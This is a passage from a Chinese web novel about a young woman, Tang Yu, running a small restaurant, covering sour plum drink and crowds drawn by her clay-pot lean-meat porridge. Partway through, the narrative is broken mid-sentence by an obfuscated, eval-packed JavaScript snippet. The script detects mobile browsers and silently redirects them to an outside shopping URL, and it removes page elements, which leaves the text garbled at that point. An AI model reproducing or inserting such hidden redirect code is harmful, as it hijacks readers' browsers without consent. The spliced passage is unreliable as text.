目送客人离开，唐玉很是高兴。 终于到了小卖部，周慧看到她爸在喝酒，满脸通红。 “爸，你怎么又喝酒了？我妈看到，指定要说你！” “她敢？”周爸两眼一瞪，“酒给我，我要喝酒！” 周慧抢过酒收进来，“爸，你别喝酒了，酒喝多了对身体不好。” “不喝酒我能干什么”，周爸叹了口气。 想到带的酸梅汤，周慧赶紧道，“我给你带了酸梅汤。” “酸梅汤是什么东西？这能喝？”周爸皱着眉头，指着乌黑发亮的汤。 “能比酒好喝？” “爸，要不你先尝下？”周慧也不知道酸梅汤味道如何，忐忑道。 “算了，一脸奇怪的味道，你要喝自己喝”，周爸大手一挥。 “爸，你就尝一口吧，很好喝的。” “不喝。” 见她爸如此坚决，周慧只好倒了小半在桌上，拿去柜台后面小板凳喝。 悠长的梅子味，入口是微微的酸，让她有种回到了春天，和三两好友摘李子吃，果实饱满多汁，咬下去一□□出酸甜的汁水，清爽的汁水在嘴里慢慢化开，流入胃里。 25. 第25章 “汽水还好喝！”周慧舔了下嘴角，惊喜道。 酸梅汤酸酸甜甜，入口的微酸，到后来的回甘，好喝到不行。 很快她喝完了半碗酸梅汤，有些后悔没多买份，这完全不够她喝啊。 喝太多了就想上厕所，等到回来发现桌上给她爸留的酸梅汤没了。 “慧慧，这酸梅汤就那么小半杯？”周爸走过来问。 瞥见她爸嘴角残留的紫色汤汁，周慧哪还不知道怎么回事，笑道，“酸梅汤还有，但需要明天去买，味道好吧？我可没有骗你。” 周爸咂咂嘴，还在回味，“酸甜可口，回味悠长。” “明天我去饭馆给你买”，周慧说，顺便她还能尝下味。 上次买的砂锅不做煲仔饭后闲置下来，唐玉想把砂锅用起来。 次日清晨，雾气很重。 唐玉先去买米，这几天米消耗太快，今天她要买些熬粥用。 买了半袋大米，她去猪肉摊，对摊主说，“老板麻烦帮我挑块瘦肉，熬粥用。” “姑娘等着”，摊主笑道。 唐玉又去买小青菜和其他食材，这个时候的小青菜很是便宜，她多买了些，拿大米，青菜和瘦肉熬粥，味道肯定很香口。 成柯骑自行车过来的，前几天放学了，他不用再上课。 “姐姐，好久不见，才开门做生意啊。” 唐玉才把门打开，食材没来得及放厨房，看到是成柯，她对他有印象。 他今天洁白衬衫配黑长裤，咧嘴笑着，很有少年感。 “来好早才开门，你过来吧。” “哥哥喝水”，小孩看成柯额头满是汗，接了杯水端给他。 “谢谢”，成柯认真道，喝完水打量起小小的饭馆。 有几天没来饭馆了，但饭馆里什么都没变。 成柯早上没吃东西，去问老板有什么吃的。 “盖浇饭，炒面和砂锅粥”，唐玉刚把菜单写好，回了句。 离吃午饭有段时间，成柯想了下，“来个砂锅粥。” 然后去找位置坐下，写作业。 唐玉把食材放好，拿出上次买的砂锅，昨晚她就把大米泡好了，接着瘦肉切成丝，青菜剁碎。 瘦肉丝切好她放入些调味料腌制去腥。 大米她放进锅里，加入适量的调味料，倒入一定的清水，开大火煮。 锅里她放了勺子，时不时用勺子推动锅底，以免米粒粘锅，然后盖上盖，转小火熬煮。 眼见锅里的米粥逐渐熬成浓稠状，再放入腌制好的瘦肉丝，继续熬煮，到后面放小勺盐添味，出锅前放入青菜丝。 浓稠的一锅瘦肉青菜粥就好了。 成柯在外面闻到浓浓的米粥香，实在没心思写作业。 “小心烫，砂锅粥好了。” 只见砂锅里的瘦肉丝呈淡白色，小青菜翠绿，融合的米粥嫩白，粥底质地看上去浓稠黏滑，很是香喷喷。 成柯赶紧拿起勺子就要喝，想起老板的话，鼓起嘴巴先呼呼几口气，然后搅拌一通粥。 等到不怎么冒热气了，才开始喝起来。 这一锅的粥入口软糯香滑，大米很细腻，而瘦肉丝肉香十足，倒尝不出什么腥味来，还有青菜丝清脆可口，让味道丰富了不少。 喝着喝着，成柯笑了，滑腻的米粥叫人怎么吃都不腻。 他正满足地眯起眼睛。 薛梧熟悉的声音从大老远传来，含着笑意道，“就猜到你会在这，吃什么好吃的？” 闻言，成柯想护住他的砂锅粥为时已晚。 只见薛梧直勾勾盯着他的砂锅粥，喉咙上下滚动了下。 “这个粥闻着真香！”薛梧满是痴迷地吸了吸鼻子，发出感慨，“兄弟，我去点粥了，你别吃太快了。” 他的话早被成柯撂到一边，眼里只剩下这锅香甜软糯的米粥，即使是夏天，这锅热气腾腾的粥，却很暖胃。 很少吃早饭的胃在此时有暖流划过，舒服不少。 薛梧见不得兄弟吃这么香，赶紧去找老板，“老板，我要锅和他一样的粥。” “等着，需要一会儿时间。” 饭馆只有两个灶头，其中一个灶头平时要做炒面或盖浇饭，而砂锅粥做起来至少要二三十分钟。 她将米放砂锅里，加水开火煮，观察起锅里的米粥，然后再放调料，有时候会拿勺子舀点粥吧唧嘴尝下味。 等砂锅里的粥煮到后面，那股香味就再也藏不住了。 薛梧坐立难安，想起身去厨房端他的粥，尤其看成柯吃那么香，锅里的米粥越来越少，眼看快见底，他动作却丝毫没有慢下来，大快朵颐，快馋死他了。 就在这时，唐玉很是小心端来砂锅粥。 锅里的米看着清白油润，瘦肉丝很香，青菜翠绿，看似一锅再简单不过的粥，却让人很有食欲。 “慢用。” 薛梧收回目光，准备拿起勺子，悄悄吞咽着口水。 “饱了”，这时，对面成柯说。 语气有些欲求不满。 薛梧赶紧拿起勺子，搅动几下锅里香喷喷的米粥。 不说味道，从香味与卖相上来说都是顶顶的。 他压制住食欲，陶醉地闻了闻，热气腾腾的一锅粥，不知不觉吃了好几口，仿佛变成了只不知饥饿的狼，只顾进食起来。 好吃！ 成柯看到薛柯的吃相，倒一点也不意味。 向来挑剔的好友，在一锅热乎的粥下，只能臣服。 薛梧美滋滋地继续喝粥，仿佛没看到成柯的目光，让他羡慕嫉妒恨去吧。 米粥喝起来更香甜软糯了。 唐玉发现她在熬煮瘦肉青菜粥，粥的香味变得越来越浓烈，成功吸引进来一波又一波客人。 眼见店里坐不下，有些客人直接从家里搬来凳子，或者站着吃。 房东经过时，抽动鼻子，“好香啊，小玉又做在什么好吃的了。” 怕打扰到小玉，但脚还是忍不住踏进饭馆。 向玲赞同地点头，“是很香。” 随后一看店里情况，吃惊道，“这么多人啊？”感觉没地方下脚了。 这时，她肚子像打雷样响了起来。 房东没有听到，只顾往前走。 好不容易排到她俩，唐玉发现是熟人，乐呵呵打起招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537703|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼，“姐，吃午饭了吗？我今天熬了砂锅粥，想尝尝吗？” 原来是砂锅粥啊，房东在心里嘀咕了句，一路走来难怪见客人喝的正起劲，脸都快埋进砂锅里了。 向玲正在思索，要不要留下来喝粥。 什么粥她没吃过，甚至连餐厅上百一份的海鲜粥，她眼睛都没眨下点过。 一份砂锅粥在她以前吃过的所有粥，能掀起什么风浪来？！ 不过来都来了，不吃点东西好像过意不去。 突然一阵风裹着粥香而来，向玲被香得说不出话。 “向玲，你想尝尝砂锅粥吗？”房东转身问她，她陪向玲过来的。 “来一份吧，尝下味”，店里的砂锅粥卖的便宜，味道不好也没事。 “小玉，来两份砂锅粥，其中一份要熬的浓些。” “我知道了，姐。” 小孩走到房东面前，笑着露出小虎牙，“姨姨，姐姐熬的粥可香了。” “那我们有口福了”，房东笑了笑。 瞥见向玲眼里的好奇，房东向她介绍起唐可儿，“这小孩是老板的妹妹，差不多是今年上小学？” “上小学？看着太瘦小了点”，向玲打量了一番小孩说。 两人聊起天来，没过多久，唐玉端来粥。 “砂锅粥还很烫，慢点喝”，她提醒了句。 “我们知道。” 一打开砂锅盖，米香混合着瘦肉的鲜香扑面而来，微沸的粥面还发出咕嘟冒泡声，滚动着瘦肉丝和青菜碎，怎么一个香字能形容的了。 “卖相不错”，还没吃，向玲评价道。 而房东吸了吸鼻子，还没鼓起嘴巴吹几口气，忍着烫意喝了小半锅粥，一股热流直冲胃里，她额头沁出层细汗。 “这小玉的手艺够好，去大餐厅当厨师也是够的，可她非要守着父母留下来的饭馆，虽说也能赚点小钱。” 闻言，向玲边捣鼓锅里的粥边说，“可能她就喜欢这样的生活，习惯了一个人单打独斗。” 唐玉习惯了忙碌，从早忙到晚，不带一点歇息，这让她有一种踏实感。 习惯了高强度的体力劳动，这具身体好像变得康健有力量起来。 “小玉想做就做，她不苦了我们食客这张嘴”，房东接着道，又喝了口软糯浓稠的粥，嘴里尽是米香和肉香的混合香气。 “味道鲜甜不说，色泽还漂漂亮亮”，向玲心想这锅粥是如何熬得这么好。 多一分太过甜的发腻，少一分太寡淡。 唐玉出来招待客人，向玲迫不及待问她，“老板这粥怎么熬的这么香？” 听到这，唐玉说了粥好喝的方法，“大概是我买的大米品质好，这样熬出来的粥有浓浓的米香，而瘦肉和青菜都很新鲜，与粥一起煮味道很滑口，口感层次上非常丰富，另外粥要想好喝，还得注意火候与时候，前面开大火这样米容易熟的快，后面火调小，慢慢激发出粥的清香。” “没想到做粥有这么诀窍”，向铃感叹道。 那她以前喝过的粥不都白喝，全部浪费了？！ 包括海鲜粥，前面口感挺好，越到后面能尝到腥味，令人发腻的很。